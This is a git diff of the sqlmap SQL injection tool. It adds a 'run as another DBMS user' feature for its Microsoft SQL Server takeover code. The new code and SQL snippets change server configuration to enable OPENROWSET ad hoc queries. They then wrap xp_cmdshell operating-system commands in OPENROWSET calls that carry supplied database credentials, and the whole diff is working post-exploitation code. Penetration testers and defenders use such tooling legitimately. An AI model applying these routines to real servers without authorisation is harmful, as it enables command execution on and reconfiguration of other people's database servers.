diff --git a/lib/request/direct.py b/lib/request/direct.py index e64aa5271..41740648e 100644 --- a/lib/request/direct.py +++ b/lib/request/direct.py @@ -45,8 +45,8 @@ def direct(query, content=True): logger.log(9, query) output = hashDBRetrieve(query, True, True) - start = time.time() + if not select and "EXEC " not in query: _ = timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None) elif not (output and "sqlmapoutput" not in query and "sqlmapfile" not in query): diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index c0f590e92..877acc92b 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -8,6 +8,7 @@ See the file 'doc/COPYING' for copying permission from extra.safe2bin.safe2bin import safechardecode from lib.core.common import dataToStdout from lib.core.common import Backend +from lib.core.common import getSPQLSnippet from lib.core.common import isTechniqueAvailable from lib.core.common import readInput from lib.core.data import conf @@ -16,6 +17,7 @@ from lib.core.enums import DBMS from lib.core.enums import PAYLOAD from lib.core.exception import sqlmapUnsupportedFeatureException from lib.core.shell import autoCompletion +from lib.request import inject from lib.takeover.udf import UDF from lib.takeover.web import Web from lib.takeover.xp_cmdshell import xp_cmdshell @@ -139,7 +141,39 @@ class Abstraction(Web, UDF, xp_cmdshell): self.runCmd(command) + def __initRunAs(self): + if not conf.dCred: + return + + if not conf.direct and not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED): + errMsg = "stacked queries is not supported hence sqlmap cannot " + errMsg += "execute statements as another user. The execution " + errMsg += "will continue and the DBMS credentials provided " + errMsg += "will simply be ignored" + logger.error(errMsg) + + return + + if Backend.isDbms(DBMS.MSSQL): + msg = "on Microsoft SQL Server 2005 and 2008, OPENROWSET function " + msg += "is disabled by default. This function is needed to execute " + msg += "statements as another DBMS user since you provided the " + msg += "--dbms-creds switch. If you are DBA, you can enable it. " + msg += "Do you want to enable it? [Y/n] " + choice = readInput(msg, default="Y") + + if not choice or choice in ("y", "Y"): + expression = getSPQLSnippet(DBMS.MSSQL, "configure_openrowset", ENABLE="1") + inject.goStacked(expression) + + # TODO: add support for PostgreSQL + #elif Backend.isDbms(DBMS.PGSQL): + # expression = getSPQLSnippet(DBMS.PGSQL, "configure_dblink", ENABLE="1") + # inject.goStacked(expression) + def initEnv(self, mandatory=True, detailed=False, web=False): + self.__initRunAs() + if self.envInitialized: return diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py index 89f81ce31..346d20669 100644 --- a/lib/takeover/xp_cmdshell.py +++ b/lib/takeover/xp_cmdshell.py @@ -21,6 +21,7 @@ from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import HASHDB_KEYS from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.settings import SQL_STATEMENTS from lib.core.threads import getCurrentThreadData from lib.core.unescaper import unescaper from lib.request import inject @@ -147,6 +148,21 @@ class xp_cmdshell: if cmd: self.xpCmdshellExecCmd(cmd) + def xpCmdshellForgeRunAs(self, query): + if conf.dCred: + for sqlTitle, sqlStatements in SQL_STATEMENTS.items(): + for sqlStatement in sqlStatements: + if query.lower().startswith(sqlStatement): + sqlType = sqlTitle + break + + if sqlType and "SELECT" not in sqlType: + query = "SELECT 1;%s" % query + + query = getSPQLSnippet(DBMS.MSSQL, "run_statement_as_user", USER=conf.dbmsUsername, PASSWORD=conf.dbmsPassword, STATEMENT=query.replace("'", "''")) + + return query + def xpCmdshellForgeCmd(self, cmd): self.__randStr = randomStr(lowercase=True) self.__cmd = "0x%s" % hexencode(cmd) @@ -154,7 +170,7 @@ class xp_cmdshell: self.__forgedCmd += "SET @%s=%s;" % (self.__randStr, self.__cmd) self.__forgedCmd += "EXEC %s @%s" % (self.xpCmdshellStr, self.__randStr) - return self.__forgedCmd + return self.xpCmdshellForgeRunAs(self.__forgedCmd) def xpCmdshellExecCmd(self, cmd, silent=False): cmd = self.xpCmdshellForgeCmd(cmd) diff --git a/procs/README.txt b/procs/README.txt index c2218e561..e281df706 100755 --- a/procs/README.txt +++ b/procs/README.txt @@ -1,3 +1,3 @@ -Files in this folder represent SPL/SQL snippets used -by sqlmap on the target system. They are licensed under the terms of -the GNU Lesser General Public License. +Files in this folder represent SPL/SQL snippets used by sqlmap on the target +system. They are licensed under the terms of the GNU Lesser General Public +License. diff --git a/procs/mssqlserver/configure_openrowset.txt b/procs/mssqlserver/configure_openrowset.txt new file mode 100644 index 000000000..95242e05a --- /dev/null +++ b/procs/mssqlserver/configure_openrowset.txt @@ -0,0 +1,6 @@ +EXEC master..sp_configure 'show advanced options', 1; +RECONFIGURE WITH OVERRIDE; +EXEC master..sp_configure 'Ad Hoc Distributed Queries', %ENABLE%; +RECONFIGURE WITH OVERRIDE; +EXEC sp_configure 'show advanced options', 0; +RECONFIGURE WITH OVERRIDE; diff --git a/procs/mssqlserver/run_statement_as_user.txt b/procs/mssqlserver/run_statement_as_user.txt new file mode 100644 index 000000000..71f3a46b7 --- /dev/null +++ b/procs/mssqlserver/run_statement_as_user.txt @@ -0,0 +1 @@ +SELECT * FROM OPENROWSET('SQLOLEDB','';'%USER%';'%PASSWORD%','%STATEMENT%');